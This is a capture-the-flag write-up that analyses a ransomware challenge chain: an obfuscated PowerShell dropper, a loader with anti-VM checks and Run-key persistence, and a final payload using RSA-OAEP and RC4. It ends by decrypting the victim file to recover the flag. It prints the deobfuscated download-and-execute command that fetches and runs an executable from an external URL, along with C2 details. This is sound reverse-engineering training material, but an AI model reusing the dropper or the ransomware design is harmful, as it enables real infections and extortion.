UnionCTF - Unionware

This challenge gives us two files: an “unionware.ps1” and a “important_homework.txt.unionware” containing seemingly random bytes. The challenge tells us that a ransomware encrypted the important homework and asks us to decrypt it.

Analyzing the Powershell

While looking at the powershell, we can see an obfuscated Powershell command, which seems to split some random string and then evaluating it. So, we’ll just run the part of the script which deobfuscates the payload without executing it, which give us:

-joIN ( '105%102n40%36n69M78%86M58:85%115a101_114M68n111:109u97C105n110C32n45M101a113C32n34:72O77O82C67u34O41u32u123a13:10_32H32n32M32:40u78_101H119n45u79%98%106H101O99n116C32H39:78H101n116C46M87H101u98O67_108M105H101M110M116C39n41M46M68n111u119u110O108n111M97n100M70n105H108O101u40%34:104n116u116n112a115M58u47C47M115a116n111C114M97n103a101M46a103C111a111u103O108C101%97a112u105_115n46_99M111n109_47M101M117n45:117C110_105H111H110%99H116_102O45u50u48C50u49O47u108n110n69M76:75:78n100O111H105a101:46n101_120M101n34M44O32C34C36_69n78M86_58a116n101u109O112H92H108_110a69_76%75%78a100a111:105u101_46:101n120%101:34C41O13M10a32u32u32u32M115n116M97n114u116%32n36O69M78u86M58_116:101n109a112:92a108O110M69a76M75O78C100a111:105u101:46M101u120C101%13:10n125' -spLIT'a'-SPlIT'n'-SPLit ':'-spLiT 'u'-sPLIT '%' -SpLiT 'O' -sPLiT 'H'-SpLit'C' -SPLit'M' -spLIt '_' |%{ ( [ChAr][int]$_)} )

Unfortunately Windows Defender detects it as a malware, so we have to tell it to stfu, and then we get:

if($ENV:UserDomain -eq "HMRC") {
    (New-Object 'Net.WebClient').DownloadFile("https://storage.googleapis.com/eu-unionctf-2021/lnELKNdoie.exe", "$ENV:temp\lnELKNdoie.exe")
    start $ENV:temp\lnELKNdoie.exe

The Powershell script is just a downloader for another executable we’ll need to analyze

Payload analysis

The executable is a 32-bit binary. The main function does a lot of anti-VM checks which were a bit annoying to bypass`, with function calls dynamically resolved through LoadLibrary/GetProcAddress with obfuscated strings.

.text:00402177 loc_402177:                             ; CODE XREF: _main+6E↑j
.text:00402177                 call    AntiVMCheck1
.text:0040217C                 call    AntiVMCheck2
.text:00402181                 call    AntiVMCheck3
.text:00402186                 rdtsc
.text:00402188                 mov     esi, eax
.text:0040218A                 mov     edi, edx

After some debugging in x64dbg, I figure outd that the malware checks if it’s installed into HKCU\Software\Microsoft\Windows\CurrentVersion\Run under the REG_SZ value “slkkmeLDDF”. if not, it calls an install function to set up that key with the module path.

Then it attempts to communicate with the CnC to download the next stage:

lea     ecx, [ebp-450h]
mov     dword ptr [ebp-5FCh], 930956E3h
push    ecx
push    dword_40A3F8 ; should contain the port but ¯\_(ツ)_/¯
mov     dword ptr [ebp-5F8h], 0FBACEEF3h
lea     ecx, [ebp-600h] ; IP address decryption
mov     dword ptr [ebp-5F4h], 2BBFDE68h
mov     dword ptr [ebp-420h], 8E035C15h
mov     dword ptr [ebp-41Ch], 0A22767D7h
mov     dword ptr [ebp-418h], 0CD82D7C6h
mov     dword ptr [ebp-414h], 2BBFDE5Ah
movaps  xmm1, xmmword ptr [ebp-420h]
pxor    xmm1, xmmword ptr [ebp-600h]
push    ecx  ; contains the IP address of the CnC
movaps  xmmword ptr [ebp-600h], xmm1
call    eax

Unfortunately, the “dword_40A3F8” which should point to the port string contains garbage… After some xrefing in IDA, we come across this function, which is called as __initterm callback (i.e. before main is called):

mov     dword ptr [esp+20h+var_20], 0B9306F24h
lea     eax, [esp+20h+var_20]
mov     dword ptr [esp+20h+var_20+4], 0A22767D7h
mov     dword ptr [esp+20h+var_20+8], 0CD82D7C6h
mov     dword ptr [esp+20h+var_20+0Ch], 2BBFDE5Ah
mov     dword ptr [esp+20h+var_10], 8E035C15h
mov     dword ptr [esp+20h+var_10+4], 0A22767D7h
mov     dword ptr [esp+20h+var_10+8], 0CD82D7C6h
mov     dword ptr [esp+20h+var_10+0Ch], 2BBFDE5Ah
movaps  xmm1, [esp+20h+var_10]
pxor    xmm1, [esp+20h+var_20]
movaps  [esp+20h+var_20], xmm1
mov     dword_40A3F8, eax

The string is decrypted as “1337”, but unfortunately a pointer to a local variable in the function’s stack frame is stored into dword_40A3F8, and this stack frame is overwritten by other function calls, leading to garbage.

We know we need to connect to

After manually setting the correct port in x64dbg, we notice that the string KADMKLAFD:LSM$OPM@FLK:FM!N$@N$ is sent to the server, and then another annoying anti-debug trick hits us again. So let’s connect to the server, send this string and see what’s happens (yes it’s ugly and you have to it ctrl+C to stop the script):

import socket

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("", 1337))
buf = b""
f = open("shlag.bin", "wb")
while True:
    tmp = s.recv(0x200)

After running the script, we get a nice PE file waiting to be reversed :)

Analysis of the server payload

We finally reach the final payload. After a quick inspection in IDA, smells ransomware:

.text:00411FEF loc_411FEF:                             ; CODE XREF: WinMain(x,x,x,x)+353↑j
.text:00411FEF                 lea     edx, [ebp+ppszPath]
.text:00411FF5                 push    edx             ; ppszPath
.text:00411FF6                 push    0               ; hToken
.text:00411FF8                 push    0               ; dwFlags
.text:00411FFA                 push    offset rfid     ; rfid
.text:00411FFF                 call    ds:SHGetKnownFolderPath
.text:00412005                 mov     eax, 4
.text:0041200A                 imul    ecx, eax, 0
.text:0041200D                 mov     edx, [ebp+ecx+ppszPath]
.text:00412014                 push    edx             ; Src
.text:00412015                 lea     ecx, [ebp+var_5AC]
.text:0041201B                 call    sub_412C10
.text:0041201B ;   } // starts at 411FC5
.text:00412020 ;   try {
.text:00412020                 mov     byte ptr [ebp+var_4], 0Fh
.text:00412024                 push    offset aImportantReadm ; "\\IMPORTANT_README.txt"

Since it’s C++ stuff with a lot of junk “proxy” function around STL objects (std::string, std::vector and recursive_directory_iterator), let’s check what happens in x86dbg. The function enumerates all files into the “C:\Users\<username>\Documents\j3w3ls directory, checks if the file size is above 200 bytes and if so, adds it to the “to encrypt” list. So to trigger the ransomware, let’s create the “j3w3ls” directory and put a junk file in it, before restarting the debugging.

We come across an interesting loop:

.text:00411ECF                 call    getfilename
.text:00411ED4                 mov     [ebp+filename], eax
.text:00411EDA                 mov     eax, [ebp+filename]
.text:00411EE0                 push    eax
.text:00411EE1                 lea     ecx, [ebp+pbuffer]
.text:00411EE7                 push    ecx
.text:00411EE8                 call    readbuf
.text:00411EED                 add     esp, 8
.text:00411EF0                 mov     [ebp+ppbuf], eax
.text:00411EF6                 mov     edx, [ebp+ppbuf]
.text:00411EFC                 push    edx             ; struct std::_Fake_allocator *
.text:00411EFD                 lea     ecx, [ebp+var_54C]
.text:00411F03                 call    alloc_stuff
.text:00411F08                 lea     ecx, [ebp+pbuffer]
.text:00411F0E                 call    vector_destroy
.text:00411F13                 lea     eax, [ebp+var_54C]
.text:00411F19                 push    eax
.text:00411F1A                 lea     ecx, [ebp+var_628]
.text:00411F20                 push    ecx
.text:00411F21                 call    EncryptionHappensHere

The “EncryptionHappensHere” function does a lot of crypto++ wizardry (I spent a lot of time identifying Crypto++ parts of the bin): it generates a private RSA key from a random pool, then sends it to the CnC:

.text:0040639D                 lea     ecx, [ebp+randomGenerator]
.text:004063A3                 call    CreateAutoSeededRandomPool
.text:004063A8                 mov     [ebp+stepCounter], 0
.text:004063AF                 push    10Ch            ; Size
.text:004063B4                 lea     ecx, [ebp+privkey]
.text:004063BA                 call    zeromem
.text:004063BF                 push    1               ; int
.text:004063C1                 lea     ecx, [ebp+privkey]
.text:004063C7                 call    InvertibleRSAFunction__ctor
.text:004063CC                 mov     byte ptr [ebp+stepCounter], 1
.text:004063D0                 lea     eax, [ebp+privkey+44h]
.text:004063D6                 mov     [ebp+privkeyObj], eax
.text:004063DC                 push    400h            ; keyBits
.text:004063E1                 lea     ecx, [ebp+randomGenerator]
.text:004063E7                 push    ecx             ; randomGenerator
.text:004063E8                 mov     ecx, [ebp+privkeyObj]
.text:004063EE                 call    InvertibleRSAFunction__Initialize
.text:00406428                 push    1
.text:0040642A                 lea     eax, [ebp+privkey]
.text:00406430                 push    eax
.text:00406431                 lea     ecx, [ebp+generated_pubk]
.text:00406437                 call    RSAFunction__RSAFunction
.text:0040643C                 mov     byte ptr [ebp+stepCounter], 3
.text:00406440                 lea     ecx, [ebp+privkeyDer]
.text:00406443                 call    new_std_string
.text:00406448                 mov     byte ptr [ebp+stepCounter], 4
.text:0040644C                 push    14h             ; Size
.text:0040644E                 lea     ecx, [ebp+output]
.text:00406451                 call    zeromem
.text:00406456                 lea     ecx, [ebp+privkeyDer]
.text:00406459                 push    ecx
.text:0040645A                 lea     ecx, [ebp+output] ; output
.text:0040645D                 call    StringSinkTemplate__StringSinkTemplate
.text:00406462                 mov     byte ptr [ebp+stepCounter], 5
.text:00406466                 lea     edx, [ebp+privKeyCopy]
.text:0040646C                 push    edx
.text:0040646D                 lea     eax, [ebp+output]
.text:00406470                 push    eax
.text:00406471                 call    EncodePrivateKey
.text:00406476                 add     esp, 8
.text:00406479                 lea     ecx, [ebp+privkeyDer]
.text:0040647C                 push    ecx
.text:0040647D                 call    SendKeyToCC

Then the funny stuff begins. The functions creates a public key from the generated private key, uses it to construct a RSAES_OAEP_SHA_Encryptor from the public key. Then it constructs an ArraySink from a STL vector’s buffer, which is passed as a bufferedTransformation to the PK_EncryptorFilter. This EncryptorFilter will be then given to the StringSource which will read the 86 first bytes of the string:

mov     ecx, [ebx+0Ch]
call    string_getdata
mov     [ebp+file_contents_buf], eax
mov     ecx, [ebp+encFilter_temp3]
push    ecx             ; transformation
push    1               ; pumpAll
push    86              ; length
mov     edx, [ebp+file_contents_buf]
push    edx             ; zstring
lea     ecx, [ebp+stringsource]
call    CreateStringSource

In C++, this would give something like this:

// filebuf is a std::string passed as argument
// pub_from_privkey is the public key derived from the random privkey
// rng is the random pool seen above
std::vector<char> encrypted;
RSAES_OAEP_SHA_Encryptor e (pub_from_privkey);
source = StringSource(
    new PK_EncryptorFilter(
        new ArraySink(&encrypted[0], 0x80)

After the call, our “encrypted” contains the encrypted 86 first bytes of the file. Then, after doing some output string initialization, it does:

mov     ecx, [ebx+0Ch]
call    string_getsize
sub     eax, 56h
push    eax
lea     ecx, [ebp+rc4_enc_buf]
call    str_resize
lea     eax, [ebp+rc4_enc_buf]
push    eax             ; outStr
mov     ecx, [ebx+0Ch]
push    ecx             ; clearStr
lea     edx, [ebp+rsaEncrypted_vec]
push    edx             ; rc4key
call    RC4Encryption
add     esp, 0Ch

The RC4 encryption function was easy to identify, thanks to its key scheduling function at 0x00405E50 called by RC4Encryption. Now, we know that RSA_OAEP(fileBuf[0:56]) is the RC4 key to encrypt the rest of the file. Now, let’s check where the key is saved into the encrypted file, so we may recover the whole file minus the 56 first bytes.

We get a first copy loop, which copies the RSA-encrypted buffer into the return buffer:

.text:0040667C                 jmp     short loop1
.text:0040667E ; ------------------------------------------------------------
.text:0040667E loop1_next:                             ; CODE XREF: EncryptionHappensHere+387↓j
.text:0040667E                 mov     eax, [ebp+counter]
.text:00406684                 add     eax, 1
.text:00406687                 mov     [ebp+counter], eax
.text:0040668D loop1:                                  ; CODE XREF: EncryptionHappensHere+33C↑j
.text:0040668D                 cmp     [ebp+counter], 80h
.text:00406697                 jge     short loop1_finished
.text:00406699                 mov     ecx, [ebp+counter]
.text:0040669F                 push    ecx
.text:004066A0                 lea     ecx, [ebp+rsaEncrypted_vec]
.text:004066A3                 call    vector_getdata
.text:004066A8                 mov     dl, [eax]
.text:004066AA                 mov     [ebp+tmp], dl
.text:004066B0                 mov     eax, [ebp+counter]
.text:004066B6                 push    eax
.text:004066B7                 lea     ecx, [ebp+outbuffer]
.text:004066BA                 call    vector_getdata
.text:004066BF                 mov     cl, [ebp+tmp]
.text:004066C5                 mov     [eax], cl
.text:004066C7                 jmp     short loop1_next

Then, we get a second loop which copies the RC4-encrypted buffer:

.text:004066C9 loop1_finished:                         ; CODE XREF: EncryptionHappensHere+357↑j
.text:004066C9                 mov     [ebp+counter2], 80h
.text:004066D3                 jmp     short loop2
.text:004066D5 ; ---------------------------------------------------------------------------
.text:004066D5 loop2_next:                             ; CODE XREF: EncryptionHappensHere+3E7↓j
.text:004066D5                 mov     edx, [ebp+counter2]
.text:004066DB                 add     edx, 1
.text:004066DE                 mov     [ebp+counter2], edx
.text:004066E4 loop2:                                  ; CODE XREF: EncryptionHappensHere+393↑j
.text:004066E4                 lea     ecx, [ebp+outbuffer]
.text:004066E7                 call    string_getsize
.text:004066EC                 cmp     [ebp+counter2], eax
.text:004066F2                 jnb     short loopEnd
.text:004066F4                 mov     eax, [ebp+counter2]
.text:004066FA                 sub     eax, 80h
.text:004066FF                 push    eax
.text:00406700                 lea     ecx, [ebp+rc4_enc_buf]
.text:00406703                 call    vector_getdata
.text:00406708                 mov     cl, [eax]
.text:0040670A                 mov     [ebp+tmp2], cl
.text:00406710                 mov     edx, [ebp+counter2]
.text:00406716                 push    edx
.text:00406717                 lea     ecx, [ebp+outbuffer]
.text:0040671A                 call    vector_getdata
.text:0040671F                 mov     cl, [ebp+tmp2]
.text:00406725                 mov     [eax], cl
.text:00406727                 jmp     short loop2_next
.text:00406729 ; ---------------------------------------------------------------------------
.text:00406729 loopEnd:                                ; CODE XREF: EncryptionHappensHere+3B2↑j
.text:00406729                 lea     edx, [ebp+outbuffer]

Then, the program does some cleanup, before returning to the caller, which writes the encrypted content into the file.

Now, we can write a Python script to recover most of the file:

from Crypto.Cipher import ARC4

f = open("important_homework.txt.unionware", "rb")
buf = f.read()

k = buf[0:0x80]
blop = ARC4.new(k)
rofl = open("out.txt", "wb")

And after searching the “{” char in the file, we finally get the flag: union{d1d_y0u_g3t_m3_th0s3_cr0wn_j3w3ls?}.

That’s all folks ! :þ